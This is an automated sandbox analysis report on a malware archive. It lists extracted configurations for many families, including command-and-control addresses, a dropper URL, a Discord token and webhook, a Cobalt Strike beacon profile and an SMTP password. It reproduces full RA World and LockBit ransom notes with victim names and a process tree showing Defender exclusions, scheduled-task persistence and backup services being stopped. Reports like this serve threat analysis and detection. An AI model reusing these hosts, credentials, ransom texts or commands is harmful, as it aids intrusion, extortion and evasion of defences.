Resubmissions
15/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma1005/09/2026, 15:46
260905-s73l7svsf110Analysis
- user interaction
yes - max time kernel
145s - max time network
396s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
22/07/2026, 05:14
Errors
General
- Target cone.exe.zip
- Size 43.9MB
- Sample260722-fxfcpsygqa
- SHA256 4e5cebe1908e12e8a4ed1198fb01fb87871dbe54847855b11b3540dbc47bbe88
Malware Config
Extracted
-
ps1
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
-
ps1
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
-
redline
-
cheat
-
154.91.34.165:64951
Extracted
-
discordrat
-
discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
-
server_id
1350894549899411528
Extracted
-
vidar
-
13.6
-
158fdd2a4f5abb978509580715e5353f
-
https://t.me/m00f3r
-
https://steamcommunity.com/profiles/76561199851454339
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0
Extracted
-
C:\Users\Admin\Data breach warning.txt
- # RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org
-
https://qtox.github.io
-
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
-
http://161.35.200.18
-
https://gofile.io/d/ufuFye
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er
Extracted
-
gh0strat
-
192.168.1.221
Extracted
-
C:\fnsYm5R5i.README.txt
-
lockbit
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency, you can contact us in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] >>>> Your personal DECRYPTION ID: 2936B8B4C916B76C264830FF29A7DD61 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
-
http://lockbitapt.uz
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
Extracted
-
cobaltstrike
-
987654321
-
http://103.171.35.26:9443/dot.gif
-
access_type
512
-
beacon_type
2048
-
host
103.171.35.26,/dot.gif
-
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
9443
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYwABfVZCivHbnjZUO+BO81zPgD/iC2oPyKTKg/ktH1Zbz3KyDsPWnMof9juyAfTGI73mxgqkNUk3MwtLRfIqw+cleDaWzp4gE2tnKy9qy4dqKpTA6yNxxtvSYH3EW3YQb7BsYeNZclmAmezp4zgRUwqydV21a6CYhEsjH2IeQ7wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
4096
-
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/submit.php
-
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)
-
watermark
987654321
Extracted
-
gcleaner
-
gc-prtnrs.top
-
gcc-prtnrs.top
Extracted
-
vipkeylogger
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-06-14
-
host_password
DhakaHome2024
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.dhakahome.com
-
ssl_slate
True
Extracted
-
xworm
-
5.0
-
paltalkroom.ddns.net:65236
-
Y1mBse1uakfJ6zP1
-
Install_directory
%Temp%
-
install_file
test.exe
Signatures
- Family: AdesStealer
AdesStealer is a modular stealer written in C#.
- Family: Chaos
Ransomware family first seen in June 2021.
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Family: DragonForce
Ransomware family based on Lockbit that was first observed in November 2023.
- Family: GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
- Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Family: HiddenTear, Cryptear
HiddenTear aka Cryptear is an open-source ransomware available on Github since 2015, with many versions in the wild.
- Family: JLocker
JLocker, also known as JRansomware, is a new Rust based ransomware.
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Family: ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Family: Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
- Family: OnlyLogger
A tiny loader that uses IPLogger to get its payload.
- Family: RA World
RA World ransomware, also known as RA Group, is a crypto-ransomware variant that has evolved from the earlier Babuk ransomware. It emerged in April 2023.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Rokrat
Rokrat is a remote access trojan written in c++.
- Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
- Family: Xorist Ransomware
Xorist is a ransomware first seen in 2020.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Chaos Ransomware 2 IoCs
- DCRat payload 1 IoCs
- Detect Rokrat payload 1 IoCs
- Detect Vidar Stealer 2 IoCs
- Detect Xworm Payload 2 IoCs
- Detected Xorist Ransomware 1 IoCs
- Detects AdesStealer 2 IoCs
- Detects HiddenTear Ransomware 2 IoCs
- Detects JLocker ransomware. 1 IoCs
- Detects Umbral payload 4 IoCs
- Detects ValleyRAT payload 1 IoCs
- Gh0st RAT payload 1 IoCs
- ModiLoader Second Stage 4 IoCs
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
- Process spawned unexpected child process 36 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine payload 2 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs
- SectopRAT payload 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- OnlyLogger payload 1 IoCs
- Renames multiple (154) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (1731) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (752) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (917) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 11 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Drops startup file 1 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Modifies system executable filetype association 2 TTPs 1 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Windows security modification 2 TTPs 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
- Adds Run key to start application 2 TTPs 8 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Drops desktop.ini file(s) 22 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Checks system information in the registry 2 TTPs 1 IoCs
System information is often read in order to detect sandboxing environments.
- ConfuserEx .NET packer 3 IoCs
Detects ConfuserEx .NET packer.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
- Suspicious use of SetThreadContext 13 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 12 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 14 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 28 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 45 IoCs
- Modifies registry class 51 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 4 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 44 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious behavior: RenamesItself 2 IoCs
- Suspicious behavior: SetClipboardViewer 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 6 IoCs
- Suspicious use of SendNotifyMessage 6 IoCs
- Suspicious use of SetWindowsHookEx 41 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\cone.exe.zip1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Documents\cone.exe\TsarBomba.exe"C:\Users\Admin\Documents\cone.exe\TsarBomba.exe"1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp46E3.tmp"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& { }"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\net.exenet stop "Acronis VSS Provider" /y3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Enterprise Client Service" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Enterprise Client Service" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
